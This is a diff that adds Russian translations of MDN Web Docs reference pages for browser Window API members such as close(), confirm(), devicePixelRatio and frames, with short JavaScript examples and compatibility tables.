+<p>В прошлом, если бы вы вызвали фунцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдет; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)</p>
+
+<pre class="brush: js">function closeCurrentWindow() {
+  window.close();
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-window-close', 'window.close()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-window-close", "Window.close()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.close")}}</p>
diff --git a/files/ru/web/api/window/closed/index.html b/files/ru/web/api/window/closed/index.html
new file mode 100644
index 0000000000..fc1cf46867
--- /dev/null
+++ b/files/ru/web/api/window/closed/index.html
@@ -0,0 +1,59 @@
+---
+title: Window.closed
+slug: Web/API/Window/closed
+translation_of: Web/API/Window/closed
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<p>Данное свойство только для чтения указывает, открыто ли целевое  окно или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>isClosed</var> = <var>windowRef</var>.closed;
+</pre>
+
+<dl>
+ <dt><code>isClosed</code></dt>
+ <dd>Переменная логического типа. Возможные значения:
+ <ul>
+  <li><code>true</code>: Окно было закрыто.</li>
+  <li><code>false</code>: Окно открыто.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Изменение_URL_окна_браузера_со_всплывающего_окна">Изменение URL окна браузера со всплывающего окна</h3>
+
+<p>Следующий пример демонстрирует, как всплывающее окно может изменять URL окна, которое его открыло. Перед тем, как изменить URL, оно проверяет, имеет ли текущее окно свойство <a href="https://developer.mozilla.org/en-US/docs/DOM/window.opener">window.opener</a> и не закрыто ли оно:</p>
+
+<pre class="brush:js">// проверяет, если <a href="https://developer.mozilla.org/en-US/docs/DOM/window.opener">window.opener</a> существует и не закрыт
+if (window.opener &amp;&amp; !window.opener.closed) {
+  window.opener.location.href = "http://www.mozilla.org";
+}</pre>
+
+<p>Заметьте, что всплывающие окна имеют доступ только к окнам, которые их открыли.</p>
+
+<h3 id="Обновление_ранее_открытого_всплывающего_окна">Обновление ранее открытого всплывающего окна</h3>
+
+<p>В данном примере функция <code>refreshPopupWindow()</code> вызывает метод <code>reload</code> у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно еще не было открыто или пользователь его закрыл, открывает новое окно.</p>
+
+<pre class="brush:js">var popupWindow = null;
+
+function refreshPopupWindow() {
+  if (popupWindow &amp;&amp; !popupWindow.closed) {
+    // popupWindow открыто, обновите его
+    popupWindow.location.reload(true);
+  } else {
+    // открывает новое всплывающее окно
+    popupWindow = window.open("popup.html","dataWindow");
+  }
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>HTML5</p>
diff --git a/files/ru/web/api/window/confirm/index.html b/files/ru/web/api/window/confirm/index.html
new file mode 100644
index 0000000000..8e481973df
--- /dev/null
+++ b/files/ru/web/api/window/confirm/index.html
@@ -0,0 +1,70 @@
+---
+title: Window.confirm()
+slug: Web/API/Window/confirm
+translation_of: Web/API/Window/confirm
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Метод </font><strong>Window.confirm() </strong></code>отображает диалоговое окно, которое содержит две кнопки (OK и Cancel), а так же опциональное (необязательное) текстовое сообщение.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>result</em> = window.confirm(<em>message</em>);
+</pre>
+
+<ul>
+ <li><code>message</code> опциональная (необязательная) строка, которая будет отображена в диалоговом окне.</li>
+ <li><code>result</code> булево значение, указывающее на нажатую кнопку OK или Cancel (<code>true</code> означает OK).</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>if (window.confirm("Do you really want to leave?")) {
+  window.open("exit.html", "Thanks for Visiting!");
+}
+</pre>
+
+<p>Результат:</p>
+
+<p><img alt="firefox confirm" src="https://mdn.mozillademos.org/files/7163/firefoxcomfirmdialog_zpsf00ec381.png" style="height: 119px; width: 354px;"><br>
+  </p>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Окна сообщений - модальные, они препятствуют получению пользователем доступа к другим частям страницы до тех пор, пока окно не будет закрыто. По этой причине, вам не следует злоупотреблять этой функцией. Более того, существуют более веские причины <a href="http://alistapart.com/article/neveruseawarning">избегать использования диалоговых окон для подтверждения действий пользователя</a>.</p>
+
+<p>Пользователям <a href="/en-US/Chrome" title="Chrome">Mozilla Chrome</a> (например, расширений Firefox) следует использовать методы {{interface("nsIPromptService")}} как альтернативу.</p>
+
+<p>Начиная с Chrome {{CompatChrome(46.0)}} этот метод заблокирован в {{htmlelement("iframe")}} до тех пор, пока атрибут sandbox не установлен в значение <code>allow-modal</code>.</p>
+
+<p>{{gecko_minversion_inline("23.0")}} Аргумент является опциональным и необязательным согласно спецификации.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-confirm', 'confirm()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.confirm")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.alert","alert")}}</li>
+ <li>{{domxref("window.prompt","prompt")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/console/index.html b/files/ru/web/api/window/console/index.html
new file mode 100644
index 0000000000..d6fac2ad19
--- /dev/null
+++ b/files/ru/web/api/window/console/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.console
+slug: Web/API/Window/console
+translation_of: Web/API/Window/console
+---
+<p>{{ APIRef }}</p>
+
+<p>Свойство <strong><code>window.console</code></strong> дает доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var consoleObj</em> = <em>window</em>.console;
+</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Вывод_текста_в_консоль">Вывод текста в консоль</h3>
+
+<p>Первый пример просто выведет текст в консоль:</p>
+
+<pre class="brush: js">console.log("An error occurred while loading the content");
+</pre>
+
+<p>Следующий пример выведет объект в консоль, с возможностью раскрытия отдельных полей:</p>
+
+<pre class="brush: js">console.dir(someObject);</pre>
+
+<p>Примеры можно посмотреть по ссылке: {{SectionOnPage("/ru/docs/Web/API/Console", "Usage")}}</p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>Currently there are many implementation differences among browsers, but work is being done to bring them together and make them more consistent with one another.</p>
+</div>
diff --git a/files/ru/web/api/window/crypto/index.html b/files/ru/web/api/window/crypto/index.html
new file mode 100644
index 0000000000..48087d7eda
--- /dev/null
+++ b/files/ru/web/api/window/crypto/index.html
@@ -0,0 +1,93 @@
+---
+title: Window.crypto
+slug: Web/API/Window/crypto
+tags:
+  - API
+  - Нужно описание
+  - Нужны примеры
+  - Совместимость
+translation_of: Web/API/Window/crypto
+---
+<p>{{APIRef}}</p>
+
+<p>{{domxref("Window.crypto")}} дает доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>cryptoObj</em> = window.crypto || window.msCrypto; // для IE 11
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Стабильное API</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Реализация_в_браузерах">Реализация в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Фунционал</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовый</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>11 {{ property_prefix("-ms") }}</td>
+   <td>15</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Базовый</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._так_же">См. так же:</h2>
+
+<ul>
+ <li>глобальный объект {{domxref("Window")}} </li>
+</ul>
diff --git a/files/ru/web/api/window/deviceorientation_event/index.html b/files/ru/web/api/window/deviceorientation_event/index.html
new file mode 100644
index 0000000000..0d264588d7
--- /dev/null
+++ b/files/ru/web/api/window/deviceorientation_event/index.html
@@ -0,0 +1,171 @@
+---
+title: deviceorientation
+slug: Web/API/Window/deviceorientation_event
+tags:
+  - Имитация смены положения
+  - Определение ориентации
+  - Ориентация
+  - Сенсоры
+translation_of: Web/API/Window/deviceorientation_event
+---
+<p>Событие <code>deviceorientation</code> срабатывает, когда с сенсоров ориентации поступают новые данные о текущем положении устройства внутри Земной системы координат. Эти данные собираются с помощью мангитометра устройства. Более детальное объяснение дано в <a href="/en-US/docs/DOM/Orientation_and_motion_data_explained">Ориентация и объяснение данных движения</a>.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;">Событие <a class="external" href="http://www.w3.org/TR/orientation-event/#deviceorientation">DeviceOrientation</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Определение</dt>
+ <dd style="margin: 0 0 0 120px;">DeviceOrientationEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывает</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемо</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Целевой элемент</dt>
+ <dd style="margin: 0 0 0 120px;">По умолчанию (<code>window</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию </dt>
+ <dd style="margin: 0 0 0 120px;"> </dd>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>alpha</code> {{readonlyInline}}</td>
+   <td>double (float)</td>
+   <td>The current orientation of the device around the Z axis; that is, how far the device is rotated around a line perpendicular to the device.</td>
+  </tr>
+  <tr>
+   <td><code>beta</code> {{readonlyInline}}</td>
+   <td>double (float)</td>
+   <td>The current orientation of the device around the X axis; that is, how far the device is tipped forward or backward.</td>
+  </tr>
+  <tr>
+   <td><code>gamma</code> {{readonlyInline}}</td>
+   <td>double (float)</td>
+   <td>The current orientation of the device around the Y axis; that is, how far the device is turned left or right.</td>
+  </tr>
+  <tr>
+   <td><code>absolute</code> {{readonlyInline}}</td>
+   <td>{{jsxref("boolean")}}</td>
+   <td>This value is <code>true</code> if the orientation is provided as a difference between the device coordinate frame and the Earth coordinate frame; if the device can't detect the Earth coordinate frame, this value is <code>false</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="pass: js">if (window.DeviceOrientationEvent) {
+    window.addEventListener("deviceorientation", function(event) {
+        // alpha: rotation around z-axis
+        var rotateDegrees = event.alpha;
+        // gamma: left to right
+        var leftToRight = event.gamma;
+        // beta: front back motion
+        var frontToBack = event.beta;
+
+        handleOrientationEvent(frontToBack, leftToRight, rotateDegrees);
+    }, true);
+}
+
+var handleOrientationEvent = function(frontToBack, leftToRight, rotateDegrees) {
+    // Сделайте что-нибудь необычное здесь
+};
+</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>7.0</td>
+   <td>3.6<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>3.0</td>
+   <td>3.6<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 3.6, 4, и 5 поддерживают <a href="/en-US/docs/Web/Events/MozOrientation">mozOrientation</a> вместо стандартного события <code>DeviceOrientation</code>.</p>
+
+<h2 id="Похожие_события">Похожие события</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events/devicemotion"><code>devicemotion</code></a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>{{domxref("window.ondeviceorientation")}}</li>
+ <li><a href="/en-US/docs/Web/API/Detecting_device_orientation">Определение ориентации устройства</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Orientation_and_motion_data_explained">Ориентация и объяснение данных о движении</a></li>
+ <li>Имитация события смены ориентации в настольныъ браузерах с помощью <a href="http://louisremi.github.com/orientation-devtool/">orientation-devtool</a></li>
+</ul>
diff --git a/files/ru/web/api/window/devicepixelratio/index.html b/files/ru/web/api/window/devicepixelratio/index.html
new file mode 100644
index 0000000000..e5df4bef29
--- /dev/null
+++ b/files/ru/web/api/window/devicepixelratio/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.devicePixelRatio
+slug: Web/API/Window/devicePixelRatio
+translation_of: Web/API/Window/devicePixelRatio
+---
+<p>{{APIRef}}</p>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p><strong>devicePixelRatio</strong> - свойство глобального объекта <a href="/en-US/docs/Web/API/Window/window">window</a> (доступно только для чтения). Оно содержит отношение разрешения дисплея текущего устройства <em>в физических пикселях </em>к <em>разрешению </em>в<em> логических (CSS) пикселях</em>. Также это значение можно интерпретировать как отношение размера одного <em>физического пикселя</em> к размеру одного <em>логического </em>(<em>CSS) пикселя</em>.</p>
+
+<p>Не существует событий или поддержки обратных вызовов при изменении этого свойства (например, когда пользователь перетащил окно с одного дисплея на другой, имеющих различную плотность пикселей).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em><var>value</var></em> = window.devicePixelRatio;
+</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Свойство не поддерживается в IE ниже 11, однако в IE10 можно получить значение в виде отношения:</p>
+
+<pre>window.<strong>screen</strong>.<strong>deviceXDPI</strong> / window.<strong>screen</strong>.<strong>logicalXDPI</strong></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{Compat("api.Window.devicePixelRatio")}}</p>
diff --git a/files/ru/web/api/window/document/index.html b/files/ru/web/api/window/document/index.html
new file mode 100644
index 0000000000..088c178f20
--- /dev/null
+++ b/files/ru/web/api/window/document/index.html
@@ -0,0 +1,63 @@
+---
+title: Window.document
+slug: Web/API/Window/document
+translation_of: Web/API/Window/document
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><span class="seoSummary"><code>window.document</code> возвращает ссылку на документ, содержащийся в окне.</span></p>
+
+<div class="note"><strong>Note:</strong> {{Fx_minversion_inline(3)}} Firefox 3 вносит изменения в правила безопасности для windows' документов, чтобы только домен, на котором они расположены, имел доступ к документам. И хотя это может сломать некоторые существующие сайты, Firefox 3 и Internet Explorer 7 сделали этот шаг, что приводит к улучшению безопасности.</div>
+
+<h2 id="Синтaксис">Синтaксис</h2>
+
+<pre class="syntaxbox"><var>doc</var> = window.document
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>doc</code> является ссылкой на объект <a href="/en-US/docs/DOM/document" title="DOM/document">document</a>.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+   &lt;title&gt;Hello, World!&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;script type="text/javascript"&gt;
+   var doc = window.document;
+   console.log(doc.title); // Hello, World!
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-2', 'Window.document')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-0', 'Window.document')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/frameelement/index.html b/files/ru/web/api/window/frameelement/index.html
new file mode 100644
index 0000000000..bd901523fb
--- /dev/null
+++ b/files/ru/web/api/window/frameelement/index.html
@@ -0,0 +1,95 @@
+---
+title: Window.frameElement
+slug: Web/API/Window/frameElement
+translation_of: Web/API/Window/frameElement
+---
+<div>{{ ApiRef() }}</div>
+
+<div> </div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Возвращает элемент (например <code>&lt;iframe&gt;</code> или <code>&lt;object&gt;), в который встроено окно, или </code> <code>null, если это окно верхнего уровня.</code></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>frameEl</var> = window.frameElement;
+</pre>
+
+<ul>
+ <li><code>frameEl</code> это элемент, в который встроено окно, или  <code>null, если это окно верхнего уровня</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var frameEl = window.frameElement;
+// Если мы внутри фрейма, то изменить его URL на 'http://mozilla.org/'
+if (frameEl) {
+  frameEl.src = 'http://mozilla.org/';
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Заметьте, что несмотря на свое имя, свойство также работает для документов внутри <code>&lt;object&gt;</code> и других встраиваемых элементов.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a href="http://www.whatwg.org/specs/web-apps/current-work/#dom-frameelement">WHATWG</a></p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4?</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>5.5?</td>
+   <td>12.1?</td>
+   <td>4?</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.frames")}} возвращает массивоподобный объект, включающий список прямых суб-фреймов данного окна.</li>
+ <li>{{domxref("window.parent")}} возвращает родительское окно, которое является окном, содержащим frameElement дочернего окна. </li>
+</ul>
diff --git a/files/ru/web/api/window/frames/index.html b/files/ru/web/api/window/frames/index.html
new file mode 100644
index 0000000000..271af17e78
--- /dev/null
+++ b/files/ru/web/api/window/frames/index.html
@@ -0,0 +1,57 @@
+---
+title: Window.frames
+slug: Web/API/Window/frames
+translation_of: Web/API/Window/frames
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Возвращает само окно, являющееся объектом в виде массива, распечатывая элементы текущего окна.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval"><em>frameList</em> = window.frames;
+</pre>
+
+<ul>
+ <li><code>frameList</code> is a list of frame objects. It is similar to an array in that it has a <code>length</code> property and its items can be accessed using the <code>[i]</code> notation.</li>
+ <li><code>frameList === window</code> evaluates to true.</li>
+ <li>Each item in the window.frames pseudo-array represents the <a class="internal" href="/en/DOM/window" title="en/DOM/window">window</a> object corresponding to the given <a class="internal" href="/en/HTML/Element/frame" title="en/HTML/Element/frame">&lt;frame&gt;</a>'s or <a class="internal" href="/en/HTML/Element/iframe" title="en/HTML/Element/iframe">&lt;iframe&gt;</a>'s content, not the (i)frame DOM element (i.e., <code>window.frames[0]</code> is the same thing as <code>document.getElementsByTagName("iframe")[0].contentWindow</code>).</li>
+ <li>For more details about the returned value, refer to this <a class="external" href="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/5628c6f346859d4f/169aa7004565066?hl=en&amp;ie=UTF-8&amp;oe=utf-8&amp;q=window.frames&amp;pli=1" title="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/5628c6f346859d4f/169aa7004565066?hl=en&amp;ie=UTF-8&amp;oe=utf-8&amp;q=window.frames&amp;pli=1">thread on mozilla.dev.platform</a> [dead link].</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">var frames = window.frames; // or // var frames = window.parent.frames;
+for (var i = 0; i &lt; frames.length; i++) {
+  // do something with each subframe as frames[i]
+  frames[i].document.body.style.background = "red";
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsers.html#dom-frames", "Window.frames")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-frames", "Window.frames")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.frames")}}</p>
diff --git a/files/ru/web/api/window/gamepadconnected_event/index.html b/files/ru/web/api/window/gamepadconnected_event/index.html
new file mode 100644
index 0000000000..b6911211a9
--- /dev/null
+++ b/files/ru/web/api/window/gamepadconnected_event/index.html
@@ -0,0 +1,85 @@
+---
+title: gamepadconnected
+slug: Web/API/Window/gamepadconnected_event
+translation_of: Web/API/Window/gamepadconnected_event
+---
+<p>Событие <code>gamepadconnected</code> вызывается, когда браузер обнаруживает подключение геймпада или первое использование кнопки/стика.</p>
+
+<h2 id="Основная_информация">Основная информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывающее</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Отсутствует</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Цель события (самый верхний элемент DOM дерева).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Является ли событие всплывающим.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Является ли событие отменяемым.</td>
+  </tr>
+  <tr>
+   <td><code>gamepad</code> {{readonlyInline}}</td>
+   <td>{{domxref("Gamepad")}}</td>
+   <td>Единственный атрибут, предоставляющий доступ к данным геймпада для этого события.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
